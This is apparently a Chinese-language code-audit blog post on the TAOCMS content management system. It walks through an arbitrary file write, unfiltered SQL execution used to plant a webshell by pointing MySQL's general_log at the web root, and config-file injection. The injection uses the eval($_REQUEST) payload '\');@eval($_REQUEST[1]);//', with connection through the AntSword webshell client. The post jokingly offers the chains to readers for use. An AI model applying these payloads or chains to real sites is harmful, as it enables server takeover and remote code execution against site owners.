TAOCMS是一个完善支持多数据库(Sqlite/Mysql)的CMS网站内容管理系统,是国内最小的功能完善 的基于php+SQLite/Mysql的CMS。体积小(仅180Kb)速度快,包含文件管理、数据采集、 Memcache整 合、用户管理等强大功能,跨平台运行,支持SAE、BAE云服务。兼容PHP5和PHP7.代码 手写采用严格的数据过滤,保证服务器的安全稳定!
通过对源代码的扫描出现了几个奇怪函数
跟进去看一下代码,这里会根据GET到的name来进行判断,再通过参数是否存在isdir来确定是否为 目录是创建目录,不是则创建文件fopen(),且未限制后缀直接get写入。
再来看一下save函数,先判断是否有权限写入,如果权限存在写入即可。
利用链为先利用create()函数创建文件,在利用save()函数进行内容写入,即可造成任意文件上传。
看到这个功能点,执行sql语句跟进去
根据自己盲测感觉是没有过滤语句,根据路由跟进去在sql.php/excute()函数,这里看到直接把post 进来魔术函数转换了一下sqltext,我们跟进去看看,这里不是数组进入else分支利用stripslashes() 函数 删除由 addslashes()函数添加的反斜杠。去掉反斜杠可能是为了更好的适配把,我们这里就等于sql语句 未过滤,全部输入了。
我们在跟一下query()函数,这里跟进去看到直接原汤化原食,也没有任何操作直接mysql_query().
俗话说不能getshell的功能都不是好功能,我们现在来思考一下,mysql数据库getshell的方式,大 家第一个想到的坑定就是mysql数据库log日志getshell,mysql数据库log日志getshell的必要条件
1、知道网站真实物理路径
2、root用户身份
3、MySQL 版本 > 5.0
首先确定物理路径,其实这个cms很简单获取,不能说是十分简单把只能说是非常简单
确定是否为root权限,这里是假设的一种可能,就使用了root权限了
1.SHOW VARIABLES LIKE '%general%'
2.SELECT user();
3.SELECT version();
前提条件都符合,接下来就需要开启日志记录,把日志文件指向web目录即可
set global general_log = 'ON';
set global general_log_file ='D:/phpstudy_pro/WWW/taocms/test_1.php'
select ""
我们访问看看,至此靓仔们写入自己传家大宝贝即可~
通过代码审计工具,扫描到在include\Model\config.php,存在file_put_contents()函数,我们这里 追踪一下看看$configData是不是可控。
这里先判断是否存在修改权限,然后剔除无用参数,然后通过循环遍历出来其他参数,在经过 safeword()函数进行过滤写入,这里基本可以判断我们$configData是我们输入的,输入可控 我们来 跟进看看过滤是否存在绕过行为。
这里safeword()存在两个函数的传入 一个传入的text的值,一个是写死的level=8,这里我不太能理 解这个写死是什么意思,不重要了我们跟一下逻辑,首先判断传入的text是不是数组,明显我们这次传 参是文本,然后进入switch语句,level的值写死为8,直接进入default分支,首先判断是不是sqlite数据 库,如果是就进行单引号替换为双引号,如果不是进入addslashs()函数。
这里我们继续跟进addslashs()函数,很简单就是调用addslashes()函数对输入内容进行过滤,就是 在预定义的字符前面添加反斜杠。
这里思考一下,我们需要怎么getshell呢,第一我们要选择数据库为sqlite,然后提交一下但是这里 站已经炸了,
然后通过函数特性进行写入payload闭合就好了
define('WEBNAME', 'taoCMS演示'); //初始值
define('WEBNAME', '@eval($_REQUEST[1]);'); //正常写入后
define('WEBNAME', '\'');@eval($_REQUEST[1]);//'); //闭合后的payload
\');@eval($_REQUEST[1]);// 闭合后的提交paylod
哈哈哈哈哈,成功炸掉网站
这里监控到文件修改了,我们看看config文件有没有按照我们的想法写入,
蚁剑连接 OK 好的
如果是mysql的数据库,这个漏洞会炸站,大家谨慎使用 一不小心人就容易进去哈哈哈 ,靓仔们越 来越刑了啊 补救方法就是拿到shell后进入配置文件修改db 为mysql就好了 但是这个漏洞利用还是不推荐利用 真的真的,因为要是shell没写好的话真的会炸穿。